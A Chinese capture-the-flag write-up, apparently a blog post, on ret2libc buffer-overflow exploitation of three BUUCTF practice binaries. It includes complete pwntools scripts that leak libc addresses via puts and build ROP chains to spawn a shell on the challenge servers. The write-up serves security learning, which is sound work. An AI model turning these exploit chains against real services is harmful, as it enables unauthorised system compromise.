ret2libc-泄露和不需要泄露

1 篇文章 0 订阅

ciscn_2019_c_1 —需要泄露got
题目可在buuctf下载
安全检查,发现只开了NX保护(DEP)
在这里插入图片描述

执行程序会发现,程序第二次原模原样输出了((这种菜单题,我还以为是堆))
在这里插入图片描述

IDA查看反汇编代码
在这里插入图片描述

加密函数
其中x在bss段定义,一直在增加,所以会导致上面的第二次执行的时候长度>s,从而不执行加密那块,这可以用来泄露地址
也就是后面会变的只有比上一次输入长的部分
在这里插入图片描述

操作如下图
在这里插入图片描述

由于get可以一直输入,达到一定长度报段错误,这应该是说明覆盖到返回地址了,所以猜想应该是只要覆盖了返回地址就OK了,看起来是ret2libc,,所以现在要做的是先泄露地址
并且可以看到距离返回地址距离为0x58

在这里插入图片描述

可以看到打印的是第一次发送之后加密过后的,,
可以通过逆向的进行算法的解密,然后就可以把地址放上去了
在这里插入图片描述

但是这个打印的是got而不是got里面的内容,所以需要打印got(将got作为参数指针传进去)
但是经过逆向解密太麻烦了,由于使用的是strlen函数所以可以通过‘\x00‘绕过(淦第一时间没想到)
然后我们想要执行的是put函数,got地址作为参数,由于x64使用寄存器传递参数,所以需要找到pop rdi,但是为了能够控制控制流,所以需要ret,所以此时的参数应该为:
buffer+pop_rdi_ret_addr(第一次返回地址) + got参数 + put(相当于是第2个返回地址)+第3个返回地址(为了控制再次执行到漏洞函数)

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
搜的偏移报错。。。,使用libc的话就把那注释的取消掉就行了

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

name = './ciscn_2019_c_1'
ciscn = ELF(name)
#libc = ELF('./libc.so.6')
#p = process(name)
p = remote("node4.buuoj.cn","25957")

pop_rid_ret = 0x400c83
main_addr = 0x400B28
put_plt = ciscn.plt['puts']
put_got = ciscn.got['puts']#602020
ret = 0x4006b9

p.recvuntil("machine\n")
p.sendline('1')
p.recvuntil("encrypted")
payload = b"\x00"
payload += b"a"*(0x58-1) + p64(pop_rid_ret) + p64(put_got) + p64(put_plt)  + p64(main_addr)

p.sendline(payload)
p.recvuntil('Ciphertext\n\n')	
#print(p.recv())
puts_addr = u64(p.recv(7)[:-1].ljust(8,b'\x00'))

print("put_addr is ",hex(puts_addr))
#libc = LibcSearcher('puts',puts_addr)
#sys_libc = libc.dump('system')
#bin_sh_libc = libc.dump('str_bin_sh')
#puts_libc = libc.dump('puts')
#system_addr = puts_addr + (sys_libc - puts_libc)
#bin_sh_addr = puts_addr + (bin_sh_libc - puts_libc)

libcbase = puts_addr - 0x06f6a0 
system_addr = libcbase + 0x0453a0
bin_sh_addr = libcbase + 0x18ce17

p.recvuntil("machine\n")
p.sendline('1')
p.recvuntil("encrypted")
payload = b"\x00"
payload += b"a"*(0x58-1) + p64(ret) +p64(pop_rid_ret) + p64(bin_sh_addr) + p64(system_addr) 
p.sendline(payload)

#gdb.attach(p)

p.interactive()

buuctf level2 ----简单,不需要泄露

查看保护,,发现只开了NX,RELRO (多半可以使用ret2libc了)

IDA查看
还挺友好的,漏洞函数都给标明了
在这里插入图片描述

还有个明显的溢出。。。。

返回地址距离8c

所以就很简单了,直接运行system(binsh)就行了
在这里插入图片描述

from pwn import *
context.log_level = 'debug'
name = './level2'
ciscn = ELF(name)

p = process(name)
#p = remote("node4.buuoj.cn","28065")
system_addr = 0x8048320
bin_sh_addr = 0x804a024

payload = 'a'*0x8c + p32(system_addr) + p32(0) +  p32(bin_sh_addr)
p.sendlineafter("Input:",payload)


p.interactive()

ciscn_2019_ne_5

检查保护,开启了NX

然后IDA,发现是菜单题,但是并不是堆
首先会验证字符串是否相等,然后跳到菜单

漏洞函数在getFlag,拷贝的时候会造成溢出
如下可以确定偏移为76

在这里插入图片描述
在这里插入图片描述

并且存在system,但是没有bin_sh字符串,但是存在sh

from pwn import *
#from LibcSearcher import *
#context.log_level = 'debug'

name = './ciscn_2019_ne_5'
ciscn = ELF(name)
libc = ELF('./libc.so.6')
#p = process(name)
p = remote("node4.buuoj.cn","29836")

def addLog(s):
	p.sendlineafter(":",'1')
	p.sendlineafter("info:",s)

def Display():
	p.sendlineafter(":",'2')###put(s)

def system():
	p.sendlineafter(":",'3')###system()
def getFlag():
	p.sendlineafter(":",'4')

sh_addr = 0x80482EA
system_addr = 0x080484D0
p.sendlineafter("password:",b"administrator")


payload = 'a'*76 + p32(system_addr) + p32(sh_addr)*2
addLog(payload)

getFlag()



p.interactive()

一些图片显示不出来,,,可以从从这看

其他

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值